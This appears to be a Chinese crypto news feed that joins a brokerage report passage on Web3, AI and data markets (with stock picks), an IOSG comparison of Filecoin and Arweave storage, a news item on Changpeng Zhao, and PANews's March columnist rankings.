3）DeFi和DAO作为经济系统和治理系统，是Web3.0时代最具特色的存在。AI生产力和数据资源需要经济系统提高配置效率，亦需要治理系统的监管。AI作为生产力工具，需要一套经济/金融系统来解放其价值潜力：DeFi提供了一种解决方案。Web3.0时代，不仅要解决数据要素市场的问题，AI算法本身的经济规则也应该有更开放的解决方案——利用更开放、更广泛的智慧和资金支持AI算法的演进。 投资建议：OpenAI的异军突起、AIGC的快速迭代让数据安全、伦理、隐私等问题更加突出。在数据要素+AI的趋势下，如何在安全、高效之间取得平衡将成为热点。二级市场，我们聚焦： 1）三大运营商，中国电信、中国移动、中国联通； 2）可视化产业链：浩瀚深度、恒为科技、中新赛克； 3）内容审查与IP保护：人民网、新华网、博汇科技； 4）BOSS产业链，东方国信、天源迪科、亚信科技。 风险提示：区块链商业模式落地不及预期；监管政策的不确定性。 1. 核心观点 Chatgpt作为最火热的AI产品，其生产力是惊艳的，但站在更高层面看，未来Web3.0世界面临两个重要问题：一是数据要素市场的建立，如何解决数据确权和隐私保护？二是AI是生产力机器，数据是能源资源，该如何将工业机器和能源资源有效地进行配置？Web3.0为二者提供了高效运转的经济规则和治理规则，就像操作系统一样，为AI生产力、数据要素提供更开放的连接交互和最高效的市场配置。 数据要素的核心问题是确权和隐私保护，AI生产力需要全世界各方更广泛、更开放的连接与交互，这些问题在Web3.0世界得到了很好的解决。本报告从数据、AI“云化”和AI经济价值挖掘三个维度看Web3.0如何驱动AI和数据要素的发展，打造更开放的经济生态。 AI时代，随着人脸识别等技术的发展，用户在体验AI服务的同时，时刻都在担心数据泄露风险。这给AI的推广和发展带来了一定阻碍。数据要素是AI工业机器的重要能源，因此，如何解决数据确权、数据安全和隐私保护成为行业发展必须解决的重要问题。 Web3.0提供了数据市场的治理规则。移动时代以来，尤其是AIGC这种跨时代技术的推动下，数据隐私的保护呼声愈烈，一方面是人们对数据作为一种潜力巨大的价值资源的认识越来越清晰，另一方面作为最密切的产生者，用户越来越注意数据隐私的保护。过去的互联网模式，数据主要存储在互联网公司的云端，用户很难声明对数据的所有权；互联网不断产生的庞杂数据的确权也是出于模糊的“无主”状态，但所有数据实际上都是掌控在互联网公司手中——无论他们如何声明不会泄露数据，不泄露数据不代表我们享有所有权。越来越多的智能服务背后离不开来自于互联网公司AI机器人利用个人隐私数据进行机器学习的结果，这个过程中，用户是被动的，利益上存在受损的嫌疑。Gartner预测，到2024年用于训练AI的数据中有60%将是合成数据，而AI合成的数据又该如何确权，也是一个重要的问题，Web3.0时代正是为这种复杂的数据产生方式提供了更开放更广泛的数据和AI算法来源。 数据隐私的真谛是确权和授权——即用代码合约明确数据的所有权，通过代码合约完成数据使用权的授权和支付交易。作为Web3.0时代的代表性技术，区块链天然就是去中心化和分布式的账本机制，具有数据加密、不可篡改、来源可溯的特点。大量移动端的数据，将由过去“无主”垄断状态，被区块链网络确权给用户，而AI所需要的个人数据，可以由用户向使用方授权完成，甚至费用可以以Token的形式在区块链上完成结算。在数据领域，AI与区块链的结合，一方面是数据层，两者可以互相渗透，完全数据确权；另一方面是从应用层面入手，两者各司其职，AI负责自动化的业务处理和智能化的决策，区块链负责在数据层提供可信的授权。这样，数据作为重要的资源，AI作为生产力更有的放矢。 Web3.0时代，AI和数据要素的演化，将重构互联网商业生态。过去20年互联网巨头们依靠享受大量数据的支配权（实际上用户一直认为数据是属于他们）和强大的网络效应掌控了互联网的主要资源和价值。在技术的快速发展过程中，互联网的商业经历了计算机的开源、软件的开源和数据的开源，曾经的巨头垄断被不断打破。如今，随着区块链、AI和5G等信息技术的崛起，整个互联网加速由巨头互联网公司中心走向分布式和去中心化，价值垄断正在被打破。进入Web3.0时代，AI和数据要素将重构新的商业生态。 2.2Web3.0作为经济和治理系统为AI生产力提供运行逻辑 AI作为强大的生产力机器，产出能力自然是惊艳的，但AI输出价值的背后需要一套经济系统和治理系统作为支撑。如果将AI比喻为工业机器，那么数据将是石油等基础资源，而光有工业机器和资源是无法运行的——工业机器需要运行逻辑，而资源需要流通和调节供给——将工业机器和资源整合的市场经济系统才是价值产出的灵魂；Web3.0就是这样的经济和治理系统，就像组织创新、生产和流通一样，Web3.0将AI（生产力工具）、数据要素、资产和治理提供了一套开放的“操作系统”，AI将在Web3.0世界如鱼得水。 数据隐私已成为全球监管的焦点问题，现行的解决方案一是强化法律保护，利用区块链等技术完成数据确权；二是引入隐私计算，通过同态加密、多方安全计算、可信执行环境等技术，保证数据在使用过程中是明文不可见的。在AI对数据资源的快速“消耗”背景下，如何在AI训练演化的整个流程周期中对数据完全确权、隐私保护和费用结算？这些离不开Web3.0时代各类数据隐私保护应用的加持。 本节以Horizen为例探讨Web3.0时代如何在数据流转、使用过程中保护隐私。Horizen可以为用户（包括企业用户）提供一个不上传本地隐私数据前提下完成开发的基础区块链平台，企业可以借此为用户提供区块链相关服务，但又充分保护了企业的隐私数据。 Horizen原名Zencash，致力于打造隐私保护和基础区块链平台，为用户或企业可以在不上传本地隐私数据的前提下提供开发平台。Horizen由主链和侧链构成。Horizen主链主要是为用户的交互提供简单且安全的价值传输和存储层，通过原生治理代币ZEN为整个Horizen的生态运转提供支持，以及为侧链提供必要的基础架构。而具体功能的实现以及网络基础结构等均由侧链开发完成，从而能够针对特定的用例进行更为复杂的性能优化，增强其可扩展性和安全性。Horizen侧链又称Zendoo，其具有极高的扩展性和设计性。侧链有独立的共识机制与加密算法，并且真正的实现了去中心化。开发者可通过Horizen开放的一套标准通用组件ZEN侧链开发套件（SDK）来迅速完成区块链的开发，从而节省区块链的构建时间。利用侧链附带的零知识证明工具可以在不上传本地隐私数据的前提下，完成企业需求的开发。 同时，主链与侧链之间可以通过其独创的跨链传输协议CCTP（The CrossChain Transfer Protocol）实现代币ZEN以及数据的互联传输，为解决可扩展性问题提供基础保障。 Horizen采用Zk-snark（零知识证明）以及防51%攻击等安全解决方案构建了一个具有极高隐私保护性以及安全性的Web3.0区块链平台，为用户与开发者提供隐私保护。 3.2 AI“云化”：Web3.0组织AI生产力市场 随着chatgpt应用的持续爆发，AIGC正在成为全球科技领域的焦点，我们认为AIGC有望成为近五年来最成功、最具创造力的数字科技创新，也将是Web3.0时代重要的生产力。chatgpt的惊艳体现了一款特定产品的强大生产力，但Web3.0时代可能需要更多维更立体的AI体系。近期，行业兴起了对通用人工智能（Artificial general intelligence，AGI）的讨论印证了这一点。AGI 是指在AI模拟人类智能，这些机器能够在广泛的领域执行人类可以执行的任何任务，而不是可以在特定任务上表现出色的狭义AI或者专门为一个任务设计的AI机器人。AGI被认为是一个能够适应新情况、将其学习推广到新领域并理解复杂性的人工智能系统。更广泛的目标是将AI机器像人类经济市场一样组织起来，实现更有效的智能生态。 换句话说，如何将AI强大的生产力机器打造成有组织、有智慧的生态系统，还需要机器智慧之外的“运行逻辑”——就像市场规律指导经济运行一样，这套运行逻辑将使得AI、数据要素这些重要资源实现更有效的“配置”，即Web3.0时代将不会是一个产品的惊艳，而是一个生态的绽放。这就像是把AI的能力“云化”：一方面是AI生产力的获取分散化、去中心化，可以从世界各地广泛获取（将多方的资源连接在一起）；另一方面这种“云化”并不是由于某家巨头厂商提供核心能力，而是将更多分散的AI工具、资源、知识在一个平台/市场上得到更有效的资源配置——解决付费和经济生态的问题。 本节以SingularityNET为例来探究Web3.0时代是如何组织AI生产力市场。SingularityNET是一个开放的去中心化人工智能服务自治网络，可通过Web3.0账户身份访问。开发人员将他们的服务发布到 SingularityNET网络，用户在Web3.0市场可以使用它们。开发人员可以使用原生 AGIX Token对使用他们的服务进行收费。简单说，SingularityNET将AI生产力工具组织为一个云化的市场——将分散各处的代码、知识、智慧和工具多方面进行连接交互、经济效率优化。 SingularityNET已经建立了一个去中心化的、自我维持的组织网络，这些组织通过提供指导、资金和专业知识来推动相关项目的成功。如SingularityNET 的 AI-DSL项目将允许一些AI工具像乐高积木一样连接在一起，并由任何人（甚至非技术用户）组装成复杂的工作流程。这一点类似DeFi乐高生态，详见我们的《DeFi新金融》系列报告。 SingularityNET支持的项目OpenCog Hyperon，旨在基于认知协同原则构建一个完整的、可扩展的、开源的AGI系统。HyperCycle 将是一种轻量级的二层网络（Layer2）架构，可以实现大规模的微服务廉价、高速地在链上执行。不同的 AI模块——例如神经网络 (NNs/DNNs)、生成式AI、概率 AI、程序学习 AI等——可以在共享元技术（如API接口）的基础上进行协作。相当于为各种类型的AI系统提供了一个高度可扩展的学习空间、知识存储和工具库，使它们能够协调学习和一起解决问题——这与人类市场经济中的创新创业模式是类似的。 3.3 Web3.0主导AI价值实现和社会治理的运行逻辑 DeFi和DAO作为经济系统和治理系统，是Web3.0时代最具特色的存在。AI生产力和数据资源需要经济系统提高配置效率，亦需要治理系统的监管。 3.3.1 DeFi：AI价值实现的新经济系统 AI能输出很多精彩的内容，但无法自身实现市场价值——AI价值的体现需要覆盖更广泛生态和市场的经济规则——也就说，集思广益是好事，解决付费问题是前提。换句话说，AI作为生产力工具，需要一套经济/金融系统来解放其价值潜力。而Web3.0时代面对广泛的数据来源、代码共享者等各种智慧支持，如何解决其内部的付费问题，或者如何激发这样一个开放世界的经济潜力？DeFi提供了一种解决方案。 Fabian Schär 发表在美联储圣路易斯联储官网的研究报告认为：“DeFi可以提高金融基础设施的效率、透明度和可及性。此外，该系统的可组合性允许任何人将多个应用程序和协议组合起来，从而创建新的、令人兴奋的服务。”其中主要包括以下特点： DeFi之所以能够拥有这些特点，部分原因是区块链底层代码的特性决定的，因此，DeFi相对于传统金融来说，具有低成本、快清算、高效率的特点。而最能提现这些特点的应用便是闪电贷，这是在传统金融世界完全不存在的事物。 特别是开放的可访问性和复合性，为AI的演化提供更开放、更高效的生态环境。 3.3.2 Gitcoin：代码与资源的共享共治平台 AI创新发展的热潮下，如果你有个新奇的想法需要实现怎么办？设立一家公司去拿风投？在大公司争取个创新部门？去一个众筹平台？去车库咖啡碰碰运气？这些看起来都效率偏低，能不能有个平台让新奇的点子、投资者人和代码实现者之间架起桥梁？ Web3.0时代，不仅要解决数据要素市场的问题，AI算法本身的经济规则也应该有更开放的解决方案——利用更开放、更广泛的智慧和资金支持AI算法的演进。 Gitcoin便是一种典型的案例，Gticoin是基于以太坊构建的去中心化协作平台，其为开发者提供了一个开发协作平台，同时为投资者提供了一个捐赠平台（加密货币捐赠）。可以简单理解为项目的代码和资金的众筹、共享平台。其核心功能主要有： 1）赏金（Bounties）： 该分区主要面向广大Web3.0开发者，开发者可通过发布赏金（Bounty）来针对指定问题寻求外部帮助，其他开发者可以通过解决该问题而获得赏金奖励。基于此，项目开发者可以更好的建设社区项目，而解决问题的开发者则可获得相应的奖励。 2）黑客松（Hackathons）： 该分区下集成有许多Hackathon项目，开发者可在此处加入由各个项目方所赞助的黑客松比赛，依照其主题开发相应的产品。 3）捐赠（Grants）： 在捐赠分区，用户可以向一些初创且具有公共物品性质的项目进行捐赠，捐赠结束后，部分项目可能会向捐赠用户给予空投回报。Gitcoin捐赠的核心创新在于二次方融资（Quadratic Funding）。在进行二次方融资时，项目所获资金为社区成员捐出资金的“平方根之和的平方”，即 ，之后基金会将根据每个项目的社区二次方融资金额按比例进行配捐。如在一轮募资中共有两个项目Grant1与Grant2，Grant1获得来自10个人的1美金等值加密货币的捐赠，共计10美金。而Grant2获得来自1个人的10美金捐赠，共计也是10美金。此时若基金会配捐额度为1100美金，根据二次方融资公式，Grant1能获得的二次方融资票数为美金，而Grant2能获得的二次方融资票数为美金。因此按照两个项目二次方融资的票数，Grant1所能获得的基金会配捐为，而Grant2所能获得的基金会配捐为。这样一来，获得基金会配捐的往往是那些投票人数更多的项目，而并非投票金额最多的项目。一方面鼓励了更多用户参与捐赠投票，从而票选出公共服务性最强的项目。另一方面大大增加了骗取基金会配捐的成本，降低了配捐风险。 Gitcoin目前正在过渡为一个去中心化的项目——Gitcoin Grants Stack，更加开放化，任何人都可以发起和管理自己的项目。 Gitcoin为各类Web3.0初创项目以及想要进一步了解Web3.0的用户提供了最为友好的孵化平台和学习平台。这对于AI算法的发展提供了更广泛的智慧支持，更重要的是，Gitcoin的模式为AI算法提供了更加开放的经济规则和支持，这在Web3.0时代，将是AI生产力工具锐意进取的重要推动力。 OpenAI的异军突起、AIGC的快速迭代让数据安全、伦理、隐私等问题更加突出。3月31日，意大利个人数据保护局宣布，从即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的OpenAI公司处理意大利用户信息。我们在3月29日的江西（南昌）资本市场高峰论坛上也就AIGC涉及的法律问题进行探讨，引发了市场的讨论。 我们认为，在数据要素+AIGC的趋势下，确实“风浪越大，鱼越贵”，但在当一切都在加速的时候，全社会是否真正准备好迎接AI时代的冲击将成为新的聚焦点。如何在开放、安全、隐私之间取得平衡将成为核心。 二级市场，我们建议聚焦： 1）三大运营商，中国电信601728、中国移动600941、中国联通600050； 2）网络可视化产业链：浩瀚深度688292、恒为科技603496、中新赛克002912； 3）内容审查与IP保护：人民网603000、新华网603888、博汇科技688004； 4）BOSS产业链，东方国信300166、天源迪科300047、亚信科技HK1675。 风险提示 区块链商业模式落地不及预期：区块链、密码学等相关技术和项目处于发展初期，存在商业模式落地不及预期的风险；Move生态发展不及预期。 监管政策的不确定性：区块链项目实际运行过程中涉及到多项金融、网络及其他监管政策，目前各国监管政策还处于研究和探索阶段，并没有一个成熟的监管模式，所以行业面临监管政策不确定性的风险。  ( 2 min )
    去中心化存储愿景：从“去中心化网盘”到“去中心化服务器”，Web3里永恒的主题
    原文：《IOSG Weekly Brief｜从存储到计算，去中心化存储复兴 #168》 作者：Leo, IOSG Ventures 概要： Arweave协议设计从技术上保证永久存储的实现，更适用于高价值数字资产，如NFT metadata的保存 数据存储之上，更需要计算。随着智能合约和可编程性的引入，去中心化数据存储网络的发展已经进入“不仅仅是存储”的新阶段 实现存储数据冗余，Filecoin诉诸经济激励手段，Arweave则借助协议设计 FVM为Filecoin带来存储金融，将存储空间和时间商品化，用户可以提前锁定成本，存储供应商也能提前回笼资金，并根据远期需求规划管理库存、硬件、运营 计算机网络发展的主流，无外乎数据计算，传输，存储三个方向。Web3发展时至今日，去中心化数据存储协议的发展有目共睹。Filecoin于2023年3月14日2,683,348 Epoch高度正式在主网发布了兼容EVM的Filecoin Virtual Machine (FVM)，将智能合约和可编程性带入Filecoin网络，去中心化数据存储协议的发展已经进入了“不仅仅是存储”新阶段。 去中心化数据存储协议有很多，最引人注目的唯属Filecoin和Arweave，针对FVM发布赋予Filecoin的新特性，我们在本文中逐一进行讨论。 永久存储在Web3中有特别的意义和需求，高价值的数字资产如 NFT Metadata须要被永久保存。 Filecoin在FVM发布后，强调了永久存储（Permanent Storage）的特性。我们理解的Filecoin永久存储是通过经济手段在理论上实现长期保存，但在Filecoin协议设计层面没有太多改动。在Filecoin当前设计中，存储订单是在存储供应商和存储需求者之间链下撮合链上记录的，订单包含的信息有数据大小、存储时间、订单价格和抵押物。若想所存数据在订单所定义的存储时间到期后被继续保存，存储需求者不得不人为手动地提交更新订单。但FVM发布后，订单可以在链上得到自动续费更新。Lighthouse是致力于实现Filecoin上永久文件存储的项目，用户只需付费一次，文件即可“永久”保存。Lighthouse通过基于智能合约的捐赠池（endowment pool）来为文件持续支付存储费用。当用户创建订单并付费时，金额的一部分交给存储供应商，剩下的部分则进入捐赠池。捐赠池智能合约将在订单到期时自动续约并用捐赠池中的金额付费，以此实现“永久存储”。这个设计的可行性在于捐赠池会通过质押、farming等方式实现池内资产增值，随着时间流逝，增值的部分足以覆盖存储的开销。这与Arweave黄皮书中对于存储成本的假设类似，即存储费率会不断下降，存储需求者支付金额的增值足以涵盖永久存储的开销。 “过去50年，存储费率以年均下降30.57%”。 Arweave Yellow Paper: 自1980年来，每保存1GB数据1小时的成本（log scale） Arweave则是在常见的区块链数据结构上引入了命名为Blockweave的设计，通过协议设计从根本上来实现数据被永久存储。Blockware中，链上的每一个区块（除了最新确认区块和正在被挖的候选区块）会和另外三个区块相连，分别为前序区块、后序区块和召回区块（recall block）。对某一高度的区块而言，召回区块可以是Blockweave中该高度区块以前的任意历史区块。在矿工挖新块时，召回区块的选择是由前序区块高度和哈希随机决定的。召回区块在Arweave所采用的共识机制——随机访问简洁证明（Succinct Proof of Random Access — SPoRA）中扮演了重要的角色。在Arweave中，矿工不必保存所有历史区块（即保存所有历史区块非参与挖矿的必要条件），但矿工本地保存有被随机选中的召回区块是矿工参与候选新块挖矿的入场券。召回区块功能上类似于随机抽查矿工是否保存有历史某一区块的内容，从而实现历史数据的永久存储。 Arweave的永久存储是根据协议设计从技术上来保证的，相较于Filecoin的永久存储是更robust的方案，也是Web2科技巨头Meta, Instagram和Web3应用Mirror选择Arweave作为其NFT、内容的存储方案的主要原因。 数据保存了，更重要的是使用。Filecoin和Arweave的愿景远不仅是“去中心化网盘”（然而当前大部分存储需求者仅仅将其用作于此），更要做兼具低成本存储和高吞吐计算的区块链协议。数据存储之上，Web3 Dapps还需要计算。 Filecoin和IPFS在遍布世界各地的存储供应商之间分发内容寻址的（content-addressed）数据集，以增加数据的冗余性和弹性。这种去中心的数据分布，带来了成本、可用性和可靠性的优势，但随之而来的问题是单个数据集的各部分被存储在地理位置相距较远的各个存储供应商处。广泛而分散保存的数据集不利于在数据之上执行计算或查询索引的操作。但是将高度分散的数据重新组合到一个中心以对其进行计算是昂贵、浪费、性能低下且违背去中心化存储原则的。Filecoin上EVM兼容的FVM提出了边缘计算（edge computation）结合链上协调执行计算的方案。FVM中的合约可以代理经纪计算资源、激励计算执行、在可用存储供应商之间分配工作负载，并证明计算结果的有效性以获得奖励。存储供应商可以通过FVM合约注册参与去中心化计算网络。计算客户端会将计算任务发布到合约。合约定义的机制会将计算任务分配给注册参与计算网络的存储供应商，当完成计算，存储供应商将发布证明来获得报酬。 Arweave上的去中心化计算通过SmartWeave智能合约协议实现，具备直接处理丰富数据的能力。SmartWeave和其他区块链智能合约协议的主要区别是“Lazy Evaluation (惰性计算)”，将智能合约执行计算的负担从网络节点转移到智能合约用户。惰性计算的好处是显而易见的，通过将存储和计算解耦，节点不需要保存不断增长的全局状态。智能合约可以在被使用时才由用户计算、验证最新状态，而不需要参与链上共识的每个节点都进行计算、验证。将计算下放给用户，区块链的可扩展性也得到了提升。Warp开发了一套基于SmartWeave初始版本的Warp SDK，相较于原生版本提升了性能和模块化程度，并允许不同的执行环境。 Warp近期发布了2023年路线图，开发目标包括： 1）Layer1同步器：实现Warp合约与基础Arweave层的高效同步； 2）Layer2排序器，与其将数据直接发到Arweave主网（可能等待2~3分钟区块时间直到数据被打包进下一个新挖区块），数据交易被导向Warp排序器，再通过Bundlr网络，交易可以立即结算，为用户提供数据的即时访问和近乎即时的最终确定性； 3）合约增强改进，Warp contract旨在为Web3 Dapps提供功能齐全的技术堆栈，以与Web2服务竞争； 4）开发委托解析环境（Delegated Resolution Environment）和聚合节点，委托解析环境允许对高交互和/或不安全合约进行计算委托，聚合节点则提供合约状态信息的监测和洞察。 去中心化数据存储网络避免了单点故障，但如何保证各节点/各存储供应商真实有效地保存了存储需求者的上传数据？并让多个节点/存储供应商分别保存上传数据以实现存储冗余和可靠性？Filecoin和Arweave采取了不同的方案，Filecoin诉诸经济激励手段，Arweave则借助协议设计。 FVM发布亮点中介绍了Replication Worker（数据复制工作者）, Repair Worker（数据维修工作者）。在FVM发布前，如果存储需求者希望在网络节点中备份他们的数据，以最大限度地提高数据在存储供应商出现故障时被保存下来的机率，需求者必须繁琐地与供应商链下撮合N次订单，执行N次链上交易，并密集耗费资源传输N次数据。在FVM发布后，数据复制工作者将作为中介，仅收取少量费用来实现数据冗余，为存储需求者节约时间和开销。复制工作者会根据需求者所选择的备份数量、存储地理区域、延迟要求、价格范围等条件，自动在Filecoin网络上撮合并生成存储订单。数据维修工作者则可以作为需求者的代理，监控存储数据是否丢失或过期，并根据需求者的设置将低于冗余阈值的数据自动复制备份到更多存储供应商，还可以代表存储需求者更新已过期或终止的存储订单。 Arweave的存储冗余是通过协议设计自然实现的。Arweave将召回区块作为随机访问简洁证明（SPoRA）工作量算法输入的一部分，保证挖得新块的矿工确实保存有召回区块的所有数据。SPoRA共识机制鼓励矿工在其存储空间能力范围内尽可能多地保存历史区块和Blockweave数据。但若矿工的存储能力不足以保存所有历史区块和完整Blockweave数据，矿工会优先保存被其他矿工较少保存过的区块，因为当一个被较多矿工保存了的召回区块被选中时，较多矿工会同时参与挖新块的竞争；而当一个被较少矿工保存了的召回区块被选中时，竞争会相对较小。又因为召回区块的选择是高度随机的，任一召回区块被选中的几率是离散均匀分布的，因此在存储能力受限的情况下，理性矿工应该优先保存被较少保存过的区块以提高其挖得新块的几率来获得区块奖励。Arweave的协议通过精巧设计和经济激励，让blockweave和所有历史区块能够在整个网络所有矿工存储能力范围的约束下，尽可能地将任一历史区块被最大化地备份，保证了Arweave去中心存储网络的可靠性和数据冗余。 数据保存了，如何高效、准确、快速地取回数据是另一个问题。 Filecoin中数据检索服务是一套单独的经济激励系统。Retrieval Provider（检索供应商）负责为存储需求者提供对其数据的快速访问。检索供应商专注于快速访问数据，而不是长期存储。大多数存储供应商同时也是检索供应商。需求者向检索供应商付费以获取数据。Filecoin生态中已有retrieval.market和Saturn Network等项目实现数据的快速检索和内容分发。 Arweave的SPoRA共识机制除了上述永久存储和存储冗余的优点，也一石三鸟地提高了数据检索和访问速度。在升级SPoRA之前，Arweave的可访问证明（Proof-of-Acces — PoA）旧共识机制解决了如何激励矿工尽可能多地存储数据的问题，但并没有激励矿工快速检索存储数据。事实上，在PoA时期，矿工们将存储资源归集起来做了存储池，存储池里保存历史区块。当某一召回区块被选中，存储池在被矿工请求时向矿工发送该召回区块的内容。这是不利于网络去中心化的。Arweave网络统计曾出现了全网哈希算力增长的同时节点数量却下降的情况，间接证明了存储池的存在。为解决这个问题，也为鼓励各个矿工在本地存储数据，Arweave将PoA升级成了SPoRA。升级SPoRA后，选择不在本地存储历史区块数据的矿工向存储池（需要极多次地）请求并传输召回区块，传输数据的成本和时间极大增加，而在本地存储了历史区块数据的矿工能有较高的几率挖得新区快。从机制设计上杜绝了存储池的存在。而分布世界各地的矿工节点在本地存储历史区块数据，也提高了存储需求者对数据的检索和访问速度。 随着FVM的发布，Filecoin上可以引入包括DeFi在内的众多Web3应用，例如质押协议、保险协议、存储衍生品等。Filecoin中的存储供应商需要抵押一定数量的FIL作担保才能提供存储服务，在过去存储供应商要么筹钱购买FIL，要么依赖链下的借贷合同借得FIL。但借助建立在FVM上的质押协议，FIL代币持有者可以将闲置FIL存入协议中，并制定规则和条款，任意规模的存储供应商可以根据这些规则和条款在链上获得FIL来筹集足够抵押数量的FIL，以开展存储服务。存储衍生品是另一个很有趣的应用场景，动态的存储开销给存储需求者和存储供应商都带来了统筹预算的挑战。将存储空间和时间商品化（commoditize），存储需求者可以提前锁定存储成本，存储供应商也能提前回笼资金，并根据远期需求提前规划管理库存、硬件、运营和财务。 项目定位和现状 Filecoin当前全网共有3678个节点提供约19.544EiB的存储空间，而Arweave全网共有112个节点实际保存了125.62TiB的数据。从规模上看Filecoin网络更大，但Filecoin和Arweave虽同为去中心化数据存储协议，但他们有着不同的定位，不能简单地诉诸网路节点多少或规模大小来比较。 Protocol Labs将Filecoin定位为Storage Marketplace和Incentive layer，围绕Filecoin做了完善的存储市场、检索市场、金融产品等，通过经济激励设计来实现丰富的产品功能（如永久存储、存储复制与修补等），致力于成为最大最重要的去中心化的数据存储、分发、计算协议。Arweave最重要的定位则是永久保存数据，并基于最底层的Arweave开发智能合约协议实现对数据的计算。所有的机制设计均为这个最重要的目标服务，从前面几个特性的介绍中，不难体会到Arweave的设计是精巧而统一的。 相较于以太坊生态和以太坊虚拟机的突飞猛进，去中心化数据存储网络的发展在过去几年略显平淡。在Filecoin和Arweave生态中有很多优秀的项目和创业者，但是现在Web3 Dapps的存储方案并没有大规模采用Filecoin和/或Arweave，很多Dapps依然依赖Web2存储方案。在解决存储的区块链上做计算是一个新颖的路径，不论是FVM还是SmartWeave，都具备让开发者解锁前所未有的去中心化应用的潜力。作为开发者或用户，使用哪个去中心化存储协议并不是二选一的问题，而是应该根据应用和内容的存储需求来选择。Filecoin和Arweave的定位虽有重叠的地方，但更能在各自独到之处精进发展，满足持续演进的去中心化网络存储需求，实现从“去中心化网盘”到去中心化服务器的愿景。  ( 2 min )
    赵长鹏：近期FUD或由其他交易所赞助传播，行业应团结而非攻击同行
    PANews 4月4日消息，币安首席执行官赵长鹏发推文称：“最新的 FUD只由加密新闻媒体和KOL传播，很可能是由另一个交易所植入/赞助的。这种做法非常小气，伤害了行业，也伤害了他们自己。有足够多的外部力量在攻击我们，我们的行业需要在这个节骨眼上团结起来。” 此前今日早些时候消息，币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言。  ( 1 min )
    PANews 2023年3月专栏作者影响力及专栏文章热度排行榜出炉
    PANews 2023年3月专栏作者影响力排行榜TOP5及专栏文章热度排行榜TOP10（以下简称“双榜”）于今日出炉，我们对3月份PANews平台上的所有专栏作者发文情况及所有专栏文章热度进行了综合性评定，制作出双榜。 我们根据发文频率、发文质量及阅读量进行综合评定，制作出3月专栏作者影响力排行榜TOP5。如上图所示，上榜的5位专栏作者为： Biteye是一个专注于 L1/L2、DeFi、NFT 和 Web3 的区块链研究机构和社区。3月期间，该专栏作者输出了大量内容，其中Arbitrum、空投相关、LayerZero等内容均为当时市场热点所在，因此获得了不错的阅读量，点此访问该作者主页。 0xLoki是3月新入住PANews的Web3领域KOL，曾任火必、中国国家智库研究员。3月USDC脱锚期间，该作者撰写的《从Circle储备资产结构分析暴雷可能：USDC极端为0.885，正常0.985》收获了极高的市场热度，点此访问该作者主页。 Star's Decentralized Brief是专注于NFT领域的研究员，时常输出深度内容。3月期间，该专栏作者输出了星巴克、阿迪达斯在Web3中的布局、NFT新叙事Open Loyalty、AI&ChatGPT等深度内容，收获市场许多的关注，点此访问该作者主页。 SophonLabs (智子实验室) 专注Web3优质项目孵化与投研，3月期间共输出6篇文章，其中3篇属于ZK、ZK-EVM方面的内容，也收获了市场较多的关注，点此访问该作者主页。 ETH中文是以太坊的中文资讯社区，旨在传递优质资讯和学习资源。3月期间，ETH中文输出了大量内容，上海升级、质押取款、以太坊最新进展、官方公告等内容引发市场强烈的兴趣，点此访问该作者主页。 我们根据内容质量及文章阅读量进行综合评定，制作出3月专栏文章热度排行榜TOP10。如上图所示，上榜的10篇专栏文章为： No.1《从Circle储备资产结构分析暴雷可能：USDC极端为0.885，正常0.985》by 0xLoki Circle暴雷可能性分析：先说结论，出问题的概率极低，不要自己吓自己。 No.2《2023年潜在的空投大礼包：5大可能超越Aptos的早期项目》by Biteye 这里我们盘点了 5 个被低估的空投项目，他们或许在未来超越 Aptos。 No.3《Arthur Hayes：美联储救市，“印钞机”启动》by Arthur Hayes 解读美联储新的银行定期融资计划 (BTFP) 以及带来的影响。 No.4《2023 值得关注的五大技术趋势：以太坊升级、Staking、模块化、ZK应用及账户抽象》by HashKey Capital 以太坊合并、上海升级后，Staking 赛道将在 2023 年迎来更多发展。 No.5《万物研究院：OpenAI创始人要向10亿人空投的Worldcoin是什么？》by 万物岛ThreeDAO 随着OpenAI的ChatGPT发布后掀起了一波AI热潮，但与此同时OpenAI创始人Sam正在谋划另一起也会发生在上半年的Crypto热潮：WorldCoin。 No.6《GameFi赛道"灵魂十问"：Web3游戏的未来在哪里？》by Zonff Partners 从早期的 P2E 模式到流量分发平台，从 MMO 模式再到全链游戏，市场的关注点也总在发生着变化。 No.7《3月加密叙事展望：LSD仍为核心事件，关注ZK发展趋势》by 雨中狂睡 将3月将到来的加密事件分为 S、A、B、C 四个等级，以方便提前做出埋伏。文章将会呈现 S 级和 A 级两个板块。 No.8《详解新公链Sui及其生态》by 7 O'Clock Labs Sui 是首个完全无需许可Layer 1区块链，特点在于安全、快速。它实现了平行交易，并在交互足够简单时不需要共识而是使用更简单、快速的结算方式，因此给金融、数字商务和游戏带来了巨大的可能性。 No.9《为什么Aura Finance可能成为LSD最大的黑马？》by Web3工场 高APY、高资本效率、低GAS和庞大的合作关系，这些都是Aura Finance的催化剂。 No.10《Vitalik撰文：如何选择多重签名和社交恢复钱包的“守护人”？》by Vitalik Buterin 钱包被盗事件层出不穷，如何防止用户资金损失和盗窃始终是行业重要问题，目前市场上出现的多重签名和社交恢复钱包能够极大提升钱包的安全性，但如何选择钱包的“守护人”成为了下一个要思考的问题，Vitalik今日发文为我们阐述了他的看法。 恭喜以上5位专栏作者和10位热度文章作者，同时感谢所有专栏作者，你们的付出与支持让PANews更加精彩。2023年第一季度已经收官，加密市场迎来期待已久的复苏。3月期间，传统金融及监管事件对我们产生了许多影响，但加密市场也展现了令人惊叹的韧性。“去中心化愿景”越发重要，Web3长期趋势更加明朗，一起期待“巨大的泵”！同时，我们十分殷切地希望更多优秀的朋友能够成为PANews专栏作者，共同建设Web3的明天：  ( 2 min )
    代币激励与通货膨胀矛盾如何破？一文解读Spiral DAO提出的Yield Bonding新叙事
